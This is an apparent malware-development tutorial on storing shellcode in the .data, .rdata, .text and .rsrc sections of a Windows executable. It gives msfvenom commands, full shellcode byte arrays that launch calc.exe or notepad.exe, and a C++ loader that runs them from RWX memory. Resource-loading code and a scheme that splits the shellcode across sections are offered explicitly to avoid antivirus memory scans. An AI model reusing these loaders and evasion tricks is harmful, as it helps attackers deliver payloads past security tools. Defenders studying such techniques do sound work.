Payload Storage Techniques within Malware Sections
Introduction
Malware is typically stored in the following 4 types of sections:
- .data: Commonly used to store static variables and global variables. These variables hold data that can change throughout the execution of the program. The data in this section has read/write permissions.
- .rdata: Used to store data read only (‘r’ in rdata is read data). Therefore, shellcode stored in const variables will be located in this section.
- .text: The machine code of program stored in here, therefore this memory region has execute permissions.
- .rcdata: This section stores program resources such as icons, images, sounds, etc. These resources typically not executable machine codes but data used by the program during runtime.
Here is an image of the sections viewed through x64dbg:
Store shellcode msfvenom in different sections
Create shellcode with msfvenom
msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f c
It’s the command to create shellcode. If this shell is executed, it will be open calc.exe application in windows. But have a problem, after the shellcode executed, the program will be exited. Therefore, need to add to the command the following parameter:
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -a x64 -f c
Use the code below to execute shellcode:
#include <Windows.h>
#include <iostream>
#define PRINT_ERR(API_NAME) (std::cout << API_NAME << ": " << GetLastError() << std::endl)
int main() {
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
PVOID base = VirtualAlloc(nullptr, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!base) {
PRINT_ERR("VirtualAlloc");
return -1;
}
if (!WriteProcessMemory(GetCurrentProcess(), base, buf, sizeof(buf) - 1, nullptr)) {
PRINT_ERR("WriteProcessMemory");
return -1;
}
((void(*)())base)();
/*HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)base, nullptr, 0, nullptr);
if (!hThread) {
std::cout << "Create thread failed" << std::endl;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(base, 0, MEM_RELEASE);*/
}
.data section
To declare shellcode in the .data section, declare it as a regular variable.
unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0..." //shellcode here
Open x64dgb, navigate to the .data section will see payload stored in here.
.rdata section
As stated earlier, the data stored in rdata is constant data. Therefore, use const
to create a variable to store the shellcode.
const unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0..." //shellcode here
Check with x64dbg, can see the shellcode in .rdata section.
.text section
To store shellcode in .text section, add th following code before declearing the variable.
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0..." //shellcode here
The const keyword is optional and does not affect the result. Similar to the .data and .rdata section, use x64dbg in the same way to locate the shellcode stored in the .text section.
.rsrc section
Resources serve as storage for assets, as mentioned in the introduction. Therefore, the shellcode will be stored in raw form under these resources, then loaded into the program. However, cannot modify the shellcode direcly on the .rsrc section, so will need to use memory allocation functions like HeapAlloc
to load the shellcode into the current memory and then execute it.
Here’s how to create and store shellcode in the .rsrc section.
1. Create shellcode with .icon extension
Create shellcode with msfvenom, but choose output format as raw, store it to use.
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -a x64 -f raw > shellcode.ico
2. Create resource icon in Virsual Studio 2022
Right-click on `Resource File => Add => Resource…”
Select Import
and choose the shellcode.ico
file created in the previous section.
In the Resource Type
field, enter RCDATA then click OK.
After completing these steps, can view the added Resource file displaying the shellcode.
Open file resource.h
will se ID of shellcode resource added, ID will be used to load resource.
3. Load resource shellcode
To read the shellcode, use the following 4 WinAPI functions to load the resources:
- FindResourceW: Searches for the resource by ID and returns an HRSRC resource.
- LoadResource: Returns a handle to th resouce using the HRSRC obtained above.
- LockResource: Returns the address of the payload within the resource.
- SizeofResource: Returns the size of resource.
Here is full code to load shellcode from the resource.
#include <stdio.h>
#include <Windows.h>
#include "resource.h"
#define DEBUG(x, ...) printf(x, ##__VA_ARGS__)
int main() {
HRSRC hRsrc = NULL;
HGLOBAL hGlobal = NULL;
PVOID pPayload = NULL;
SIZE_T sPayloadSize = NULL;
hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
if (hRsrc == NULL) {
DEBUG("[!] FindResourceW Failed With Error : %d \n", GetLastError());
return -1;
}
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
DEBUG("[!] LoadResource Failed With Error : %d \n", GetLastError());
return -1;
}
pPayload = LockResource(hGlobal);
if (pPayload == NULL) {
DEBUG("[!] LockResource Failed With Error : %d \n", GetLastError());
return -1;
}
sPayloadSize = SizeofResource(NULL, hRsrc);
if (sPayloadSize == NULL) {
DEBUG("[!] SizeofResource Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[i] Payload address : 0x%p \n", pPayload);
printf("[i] sPayloadSize var : %ld \n", sPayloadSize);
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Store the combined shellcode acress mutilple sections
It’s possible to store the shellcode across multiple sections and then combine them to create a complete shellcode. This approach can help avoid AV scans on memory before the shellcode is used.
Here is the code to store shellcode in two sections, .data and .rdata. It reads the data from both sections and combines them to create the complete shellcode.
# include <stdio.h>
# include <Windows.h>
unsigned char sc_0[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51";
const unsigned char sc_1[] = "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52";
unsigned char sc_2[] = "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0";
const unsigned char sc_3[] = "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed";
unsigned char sc_4[] = "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88";
const unsigned char sc_5[] = "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44";
unsigned char sc_6[] = "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48";
const unsigned char sc_7[] = "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1";
unsigned char sc_8[] = "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44";
const unsigned char sc_9[] = "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49";
unsigned char sc_10[] = "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a";
const unsigned char sc_11[] = "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41";
unsigned char sc_12[] = "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00";
const unsigned char sc_13[] = "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b";
unsigned char sc_14[] = "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff";
const unsigned char sc_15[] = "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47";
unsigned char sc_16[] = "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74\x65\x70";
const unsigned char sc_17[] = "\x61\x64\x2e\x65\x78\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
unsigned char sc[18 * 16];
void build_sc() {
memcpy(&sc[0], sc_0, 16);
memcpy(&sc[16 * 1], sc_1, 16);
memcpy(&sc[16 * 2], sc_2, 16);
memcpy(&sc[16 * 3], sc_3, 16);
memcpy(&sc[16 * 4], sc_4, 16);
memcpy(&sc[16 * 5], sc_5, 16);
memcpy(&sc[16 * 6], sc_6, 16);
memcpy(&sc[16 * 7], sc_7, 16);
memcpy(&sc[16 * 8], sc_8, 16);
memcpy(&sc[16 * 9], sc_9, 16);
memcpy(&sc[16 * 10], sc_10, 16);
memcpy(&sc[16 * 11], sc_11, 16);
memcpy(&sc[16 * 12], sc_12, 16);
memcpy(&sc[16 * 13], sc_13, 16);
memcpy(&sc[16 * 14], sc_14, 16);
memcpy(&sc[16 * 15], sc_15, 16);
memcpy(&sc[16 * 16], sc_16, 16);
memcpy(&sc[16 * 17], sc_17, 16);
}
int main() {
//if run build_sc(), shellcode will load to memory, AV scan memory will detection it. Need encode payload.
build_sc();
}